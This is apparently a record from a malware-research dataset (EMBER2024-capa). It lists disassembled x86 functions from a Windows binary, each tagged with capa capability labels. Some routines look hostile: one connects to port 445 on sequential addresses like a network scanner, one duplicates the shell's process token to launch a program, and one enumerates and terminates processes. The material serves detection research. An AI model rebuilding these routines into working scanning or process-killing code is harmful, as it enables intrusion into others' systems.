joyce8/EMBER2024-capa huggingface dataset:
Function at 0x83271b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
xor edi, edi
mov esi, 0x20a
push esi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x10], edi
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
call fcn.00839041
mov ebx, eax
push esi
mov dword [ebp - 0x14], ebx
call fcn.00839041
mov esi, eax
pop ecx
pop ecx
mov dword [ebp - 0x18], esi
cmp esi, edi
je 0x832836
cmp ebx, edi
je 0x832844
push ebx
call fcn.00835b20
pop ecx
test eax, eax
je 0x832836
push dword [ebp + 8]
push 0x83a208
push ebx
push 3
push 0x104
push esi
call fcn.008359f1
add esp, 0x18
test eax, eax
je 0x832836
push edi
push edi
push 3
push edi
push edi
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x832836
mov ebx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 2
push edi
push edi
push eax
call ebx
mov esi, eax
push esi
call fcn.00839041
mov dword [ebp - 4], eax
lea eax, [esi + esi + 2]
push eax
call fcn.00839041
pop ecx
pop ecx
mov dword [ebp - 8], eax
cmp dword [ebp - 4], edi
je 0x83282d
cmp eax, edi
je 0x83282d
push edi
push edi
push edi
push dword [ebp - 0xc]
call ebx
test eax, eax
jne 0x83282d
push edi
lea eax, [ebp - 0x10]
push eax
push esi
push dword [ebp - 4]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x83282d
cmp dword [ebp - 0x10], esi
jne 0x83282d
mov ebx, dword [ebp - 8]
push esi
push ebx
push esi
push dword [ebp - 4]
push edi
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push dword [ebp + 0xc]
xor ecx, ecx
push ebx
mov word [ebx + eax*2], cx
call fcn.00832504
pop ecx
pop ecx
mov dword [ebp - 0x1c], eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x14], edi
je 0x832844
push dword [ebp - 0x14]
call fcn.008390a1
pop ecx
cmp dword [ebp - 0x18], edi
je 0x832852
push dword [ebp - 0x18]
call fcn.008390a1
pop ecx
cmp dword [ebp - 4], edi
je 0x832860
push dword [ebp - 4]
call fcn.008390a1
pop ecx
cmp dword [ebp - 8], edi
pop edi
pop esi
pop ebx
je 0x832871
push dword [ebp - 8]
call fcn.008390a1
pop ecx
mov eax, dword [ebp - 0x1c]
leave
ret
Function at 0x833848
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push edi
push dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
call fcn.008390c6
cmp dword [esi + 0x1c], 0xffffffff
mov edi, eax
pop ecx
mov dword [ebp - 8], edi
je 0x833887
push ebx
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
call fcn.008390c6
pop ecx
push eax
push dword [ebp + 8]
push dword [esi + 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov dword [ebp - 4], eax
cmp dword [esi + 0x18], 0xffffffff
je 0x8338d3
lea eax, [edi + edi + 2]
push eax
call fcn.00839041
mov edi, eax
pop ecx
cmp edi, ebx
je 0x8338d3
push ebx
push ebx
push dword [ebp - 8]
push edi
push dword [ebp - 8]
push dword [ebp + 8]
push ebx
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
lea ecx, [ebp - 0xc]
push ecx
push eax
push edi
mov byte [eax + edi], bl
push dword [esi + 0x18]
call dword [sym.imp.KERNEL32.dll_WriteFile]
and dword [ebp - 4], eax
push edi
call fcn.008390a1
pop ecx
mov eax, dword [ebp - 4]
pop edi
pop ebx
leave
ret

Function at 0x833969
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
xor esi, esi
push esi
push esi
push 2
push esi
push esi
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x8339b1
push esi
lea eax, [ebp - 4]
push eax
push ebx
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x8339aa
xor eax, eax
cmp dword [ebp - 4], ebx
sete al
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
leave
ret

Function at 0x833a18
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [esi]
push ebx
push edi
lea eax, [eax + eax + 2]
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0x20119
xor ebx, ebx
push ebx
push dword [ebp + 0xc]
xor edi, edi
push dword [ebp + 8]
inc edi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x833a7f
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x14]
lea eax, [ebp - 0x10]
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, ebx
je 0x833a86
cmp eax, 0xea
je 0x833a86
mov dword [ebp - 4], ebx
mov dword [esi], ebx
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 4]
pop edi
pop ebx
leave
ret
mov eax, dword [ebp - 8]
shr eax, 1
dec eax
mov dword [ebp - 4], edi
mov dword [esi], eax
jmp 0x833a76

Function at 0x833a93
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push esi
add eax, eax
push eax
push dword [ebp + 0xc]
push 1
push 0
push dword [ebp + 8]
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [edi]
neg eax
sbb esi, esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esi + 1]
pop esi
pop ebp
ret
Function at 0x833b33
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, eax
lea eax, [esi + esi + 2]
push edi
push eax
call fcn.00839041
pop ecx
push 0
push 0x28
mov dword [ebp - 4], eax
call fcn.00836347
mov edi, eax
mov eax, dword [ebp - 4]
push edi
push 0x833abe
push esi
push dword [ebp + 8]
call fcn.00835ec2
push edi
mov ebx, eax
call fcn.008339da
add esp, 0x1c
mov edi, ebx
test ebx, ebx
je 0x833ba3
inc esi
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov edi, eax
cmp edi, esi
jbe 0x833b8f
xor edi, edi
test edi, edi
jne 0x833ba2
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.0083927d
pop ecx
pop ecx
jmp 0x833ba3
dec edi
push dword [ebp - 4]
call fcn.008390a1
pop ecx
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x833cbd
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push esi
push esi
push esi
push 1
push 0x83a3c0
mov dword [ebp - 4], esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 0xc], eax
cmp eax, esi
je 0x833d45
push ebx
push esi
push esi
push dword [ebp + 8]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov ebx, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov dword [ebp - 8], eax
cmp eax, esi
je 0x833d3f
push edi
push esi
push esi
push esi
push esi
push dword [ebp + 0xc]
push str.POST
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov edi, eax
cmp edi, esi
je 0x833d39
push esi
push dword [ebp + 0x14]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push esi
push esi
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x833d36
push esi
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [ebp - 4], eax
push edi
call ebx
push dword [ebp - 8]
call ebx
pop edi
push dword [ebp - 0xc]
call ebx
pop ebx
mov eax, dword [ebp - 4]
pop esi
leave
ret

Function at 0x833e39
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetVersion]
and dword [ebp - 4], esi
cmp al, 6
jae 0x833e52
inc esi
jmp 0x833e99
lea eax, [ebp - 4]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x833e8a
push 4
pop eax
lea ecx, [ebp - 8]
push ecx
push eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0x14
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x833e8a
mov esi, dword [ebp - 0xc]
cmp dword [ebp - 4], 0
je 0x833e99
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret
Function at 0x833e9e
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push 0x38
lea eax, [ebp - 0x38]
push 0
push eax
call fcn.00838fa9
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c], eax
add esp, 0xc
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x38], 0x100
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
leave
ret

Function at 0x834428
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
push ebx
push esi
lea eax, [ebp - 0x1c]
xor ebx, ebx
push eax
push 8
mov dword [ebp - 0x18], ebx
xor esi, esi
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], ebx
mov word [ebp - 0xc], 0x500
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x83452b
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push ebx
push 2
push dword [ebp - 0x1c]
call edi
push dword [ebp - 4]
call fcn.00839041
pop ecx
mov esi, eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push esi
push 2
push dword [ebp - 0x1c]
call edi
test eax, eax
je 0x83452a
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x83452a
xor edi, edi
cmp dword [esi], ebx
jbe 0x83452a
lea eax, [esi + 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push dword [eax]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x8344e6
add dword [ebp - 0x14], 8
inc edi
cmp edi, dword [esi]
jb 0x8344c9
jmp 0x83452a
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x438]
push eax
mov dword [ebp - 4], 0x104
push dword [esi + edi*8 + 4]
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupAccountSidW]
test eax, eax
jne 0x834523
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x534
jne 0x83452a
mov dword [ebp - 0x18], 1
pop edi
cmp dword [ebp - 8], ebx
je 0x834539
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp esi, ebx
je 0x834544
push esi
call fcn.008390a1
pop ecx
mov eax, dword [ebp - 0x18]
pop esi
pop ebx
leave
ret
Function at 0x83489e
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
xor esi, esi
push 0x20a
mov dword [ebp - 4], esi
call fcn.00839041
pop ecx
push 0x40
mov ebx, eax
lea eax, [ebp - 0x5c]
push esi
push eax
mov dword [ebp - 0x60], esi
call fcn.00838fa9
xor eax, eax
mov dword [ebp - 0x18], esi
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
lea eax, [ebp - 8]
push esi
push eax
call fcn.00833d4b
pop ecx
pop ecx
cmp ebx, esi
je 0x834925
push ebx
call fcn.00835b0e
pop ecx
test eax, eax
je 0x834925
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x60]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push ebx
push esi
mov dword [ebp - 0x60], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x834925
push dword [ebp - 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x14]
call edi
push 1
push dword [ebp - 8]
call fcn.00833d4b
pop ecx
pop ecx
cmp ebx, esi
je 0x83493c
push ebx
call fcn.008390a1
pop ecx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x834944
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetVersion]
push 0
push 0x15
mov ebx, eax
call fcn.00836347
push 0x20a
mov edi, eax
call fcn.00839041
add esp, 0xc
mov esi, eax
cmp bl, 6
jb 0x8349b9
call fcn.00834428
test eax, eax
je 0x8349b9
lea eax, [ebp - 8]
push 0
push eax
call fcn.00833d4b
pop ecx
pop ecx
test edi, edi
je 0x8349ad
test esi, esi
je 0x8349ad
push esi
call fcn.00835b0e
pop ecx
test eax, eax
je 0x8349ad
push edi
push esi
call fcn.00833e9e
pop ecx
pop ecx
mov dword [ebp - 4], eax
push 1
push dword [ebp - 8]
call fcn.00833d4b
pop ecx
pop ecx
test esi, esi
je 0x8349c4
push esi
call fcn.008390a1
pop ecx
push edi
call fcn.008339da
mov eax, dword [ebp - 4]
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x8349d3
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
lea eax, [ebp - 0x24]
push eax
xor esi, esi
push 0x27
mov dword [ebp - 0x18], esi
call fcn.00836347
mov edi, eax
push edi
mov dword [ebp - 0x20], edi
call fcn.008390b5
add esp, 0xc
push 0x20a
lea ebx, [eax + edi + 1]
call fcn.00839041
pop ecx
mov dword [ebp - 4], eax
mov dword [ebp - 0x1c], esi
call dword [sym.imp.KERNEL32.dll_GetVersion]
push 0x40
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x8c]
push esi
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
mov dword [ebp - 0x90], esi
call fcn.00838fa9
xor eax, eax
mov dword [ebp - 0x38], esi
lea edi, [ebp - 0x34]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x44], esi
lea edi, [ebp - 0x40]
stosd dword es:[edi], eax
add esp, 0xc
cmp byte [ebp - 0x14], 6
stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
jb 0x834b3a
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.00833d4b
pop ecx
pop ecx
push ebx
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x14], eax
cmp eax, esi
je 0x834b24
cmp dword [ebp - 4], esi
je 0x834b24
push dword [ebp - 4]
call fcn.00835b0e
pop ecx
test eax, eax
je 0x834b24
call dword [sym.imp.USER32.dll_GetShellWindow]
cmp eax, esi
je 0x834b24
lea ecx, [ebp - 0x1c]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test eax, eax
je 0x834b24
push dword [ebp - 0x1c]
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x10], eax
cmp eax, esi
je 0x834b24
lea ecx, [ebp - 0xc]
push ecx
mov ebx, 0x2000000
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x834b24
lea eax, [ebp - 8]
push eax
push 1
push 2
lea eax, [ebp - 0x44]
push eax
push ebx
push dword [ebp - 0xc]
mov dword [ebp - 0x44], 0xc
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x834b24
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x90]
push eax
push esi
push esi
push esi
push esi
push dword [ebp - 4]
push esi
push dword [ebp - 8]
call dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
push 1
push dword [ebp - 0x28]
call fcn.00833d4b
pop ecx
pop ecx
cmp dword [ebp - 0x10], esi
je 0x834b3a
push dword [ebp - 0x10]
call edi
cmp dword [ebp - 0x38], esi
je 0x834b44
push dword [ebp - 0x38]
call edi
cmp dword [ebp - 0x34], esi
je 0x834b4e
push dword [ebp - 0x34]
call edi
cmp dword [ebp - 0xc], esi
je 0x834b58
push dword [ebp - 0xc]
call edi
cmp dword [ebp - 8], esi
je 0x834b62
push dword [ebp - 8]
call edi
cmp dword [ebp - 4], esi
je 0x834b70
push dword [ebp - 4]
call fcn.008390a1
pop ecx
push dword [ebp - 0x24]
push dword [ebp - 0x20]
call fcn.008339b7
mov eax, dword [ebp - 0x18]
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x834d68
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push dword [ebp + 8]
xor esi, esi
mov dword [ebp - 4], esi
call fcn.0083930f
pop ecx
cmp eax, esi
je 0x834db8
push edi
push esi
push esi
push eax
push 0x834b85
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
cmp edi, esi
je 0x834db7
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x834db0
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov dword [ebp - 4], eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, dword [ebp - 4]
pop esi
leave
ret

Function at 0x834dee
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push edi
xor edi, edi
push edi
push 2
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 8], eax
cmp eax, edi
je 0x834e9f
push esi
mov esi, 0x22c
push esi
lea eax, [ebp - 0x234]
push edi
push eax
call fcn.00838fa9
add esp, 0xc
lea eax, [ebp - 0x234]
push eax
push dword [ebp - 8]
mov dword [ebp - 0x234], esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x834e99
push ebx
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x210]
push eax
call fcn.00833711
pop ecx
test eax, eax
js 0x834e84
push dword [ebp - 0x22c]
xor ebx, ebx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x834e81
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov ebx, eax
call edi
add dword [ebp - 4], ebx
lea eax, [ebp - 0x234]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x834e49
pop ebx
push dword [ebp - 8]
call edi
pop esi
mov eax, dword [ebp - 4]
pop edi
leave
ret
Function at 0x834ea5
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push edi
xor ebx, ebx
call fcn.00833c7a
push ebx
push 0x19
mov edi, eax
call fcn.00836347
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x34]
mov dword [ebp - 0x40], eax
push 8
mov eax, edi
pop edx
lea edi, [ebp - 0x20]
mov dword [ebp - 0x4c], 0x83a20c
mov dword [ebp - 0x44], str.ELVL
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], ebx
mov dword [esi], ebx
call fcn.00835a46
movzx eax, byte [ebp + 8]
push 8
pop edx
lea edi, [ebp - 0x34]
call fcn.00835a46
lea eax, [ebp - 0x4c]
push eax
push dword [ebp - 0xc]
call fcn.00835fe7
mov edi, eax
add esp, 0x10
mov dword [ebp + 8], edi
cmp edi, ebx
je 0x834f4d
push edi
push ebx
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [esi], eax
cmp eax, ebx
jne 0x834f39
push edi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [esi], eax
cmp eax, ebx
je 0x834f60
push ebx
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, eax
neg edi
sbb edi, edi
inc edi
jne 0x834f62
jmp 0x834f4f
mov edi, ebx
mov eax, dword [esi]
cmp eax, ebx
je 0x834f62
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], ebx
jmp 0x834f62
mov edi, ebx
push dword [ebp - 0xc]
call fcn.008339da
pop ecx
push dword [ebp + 8]
call fcn.008339da
pop ecx
mov eax, edi
pop edi
pop ebx
leave
ret

Function at 0x834fa9
Capabilities:
Check for time delay via gettickcount
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
mov dword [ebp - 8], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], 0x2710
call edi
mov dword [ebp - 0xc], eax
call edi
mov ebx, 0x3e8
jmp 0x835054
mov eax, 0x200
push 0x40
pop ecx
sub eax, esi
mov dword [ebp - 0x11c], ecx
cmp eax, ecx
ja 0x834ff2
mov dword [ebp - 0x11c], eax
push dword [ebp - 0x11c]
mov eax, dword [ebp + 8]
lea eax, [eax + esi*4]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.00838fd7
add esi, dword [ebp - 0x11c]
push 0x104
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x224]
push eax
call fcn.00838fd7
add esp, 0x18
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x224]
push eax
push 0
lea eax, [ebp - 0x11c]
push eax
push 0
call dword [sym.imp.WS2_32.dll_select]
xor ecx, ecx
test eax, eax
setg cl
or dword [ebp - 8], ecx
call edi
sub eax, dword [ebp - 0xc]
cmp eax, ebx
jb 0x834fd8
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x835067
Capabilities:
Connect socket
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 2
lea ebx, [esi + eax]
pop eax
push 0x1bd
mov dword [ebp - 0x14], ebx
mov word [ebp - 0x38], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x36], ax
xor eax, eax
mov byte [ebp - 0x34], 0
lea edi, [ebp - 0x33]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 4
mov edi, 0x200
push edi
call fcn.0083905b
push 4
push edi
mov dword [ebp - 0xc], eax
call fcn.0083905b
add esp, 0x10
mov dword [ebp - 0x18], eax
cmp esi, ebx
jae 0x835219
xor ebx, ebx
cmp esi, dword [ebp - 0x14]
jae 0x835219
cmp ebx, edi
jae 0x835139
push dword [ebp + 8]
xor esi, esi
inc esi
mov dword [ebp - 0x20], esi
call dword [sym.imp.WS2_32.dll_htonl]
inc dword [ebp + 8]
push 6
push esi
push 2
mov dword [ebp - 0x34], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
test esi, esi
je 0x835131
lea eax, [ebp - 0x20]
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
jne 0x835131
push 0x10
lea eax, [ebp - 0x38]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x83512a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x835131
mov eax, dword [ebp - 0xc]
mov dword [eax + ebx*4], esi
inc ebx
mov eax, dword [ebp - 0x14]
cmp dword [ebp + 8], eax
jb 0x8350ce
test ebx, ebx
je 0x83520d
push dword [ebp - 0xc]
call fcn.00834fa9
and dword [ebp - 8], 0
pop ecx
mov eax, dword [ebp - 0xc]
dec ebx
lea esi, [eax + ebx*4]
cmp dword [esi], 0
mov dword [ebp - 0x1c], ebx
je 0x8351e1
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x10]
push eax
push 0x1007
push 0xffff
mov dword [ebp - 0x24], 4
push dword [esi]
call dword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x8351e1
cmp dword [ebp - 0x10], eax
jne 0x8351e1
push 2
push 1
lea eax, [ebp - 1]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x8351ab
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0x10], eax
test ebx, ebx
je 0x8351b8
cmp dword [ebp - 0x10], 0x2733
jne 0x8351de
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x28], 0x10
push dword [esi]
call dword [sym.imp.WS2_32.dll_getpeername]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x18]
inc dword [ebp - 8]
mov dword [ecx + edx*4], eax
mov ebx, dword [ebp - 0x1c]
push dword [esi]
call dword [sym.imp.WS2_32.dll_closesocket]
test ebx, ebx
jne 0x83514e
jmp 0x835207
push dword [ebp + 0xc]
dec dword [ebp - 8]
push dword [ebp - 0x44]
call fcn.00832084
pop ecx
pop ecx
test eax, eax
je 0x835219
cmp dword [ebp - 8], 0
jne 0x8351f3
mov esi, dword [ebp + 8]
cmp esi, dword [ebp - 0x14]
jb 0x8350c3
push dword [ebp - 0xc]
call fcn.008390a1
pop ecx
push dword [ebp - 0x18]
call fcn.008390a1
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x835840
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
push 0x18
mov edi, eax
mov dword [ebp - 4], ebx
call fcn.00839041
mov esi, eax
movzx eax, word [edi]
pop ecx
cmp ax, bx
je 0x835928
push 0x20
pop ecx
cmp cx, ax
jne 0x835877
add edi, 2
movzx eax, word [edi]
cmp ax, bx
jne 0x835864
cmp word [edi], bx
je 0x835928
push edi
call fcn.008392e1
mov edi, eax
pop ecx
cmp edi, ebx
je 0x835928
push edi
call fcn.008390c6
pop ecx
lea eax, [edi + eax*2 - 2]
jmp 0x8358b9
movzx ecx, word [eax]
push 0x20
pop edx
cmp dx, cx
je 0x8358b1
push 0x5c
pop edx
cmp dx, cx
jne 0x8358bd
xor ecx, ecx
mov word [eax], cx
sub eax, 2
cmp eax, edi
ja 0x83589e
cmp esi, ebx
je 0x835921
mov eax, dword [ebp + 8]
mov dword [esi + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esi], eax
mov eax, dword [ebp + 0x10]
mov dword [esi + 8], eax
mov eax, dword [ebp + 0x14]
mov dword [esi + 0x10], edi
mov edi, dword [ebp + 0x18]
mov dword [esi + 0xc], eax
mov eax, edi
mov dword [esi + 0x14], edi
call fcn.00835376
push ebx
push ebx
push esi
push 0x8356b3
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp eax, ebx
jne 0x835928
mov eax, edi
call fcn.008353e5
push dword [esi + 4]
call fcn.0083861b
push dword [esi + 0x10]
call fcn.008390a1
push esi
call fcn.008390a1
add esp, 0xc
jmp 0x835928
push edi
call fcn.008390a1
pop ecx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret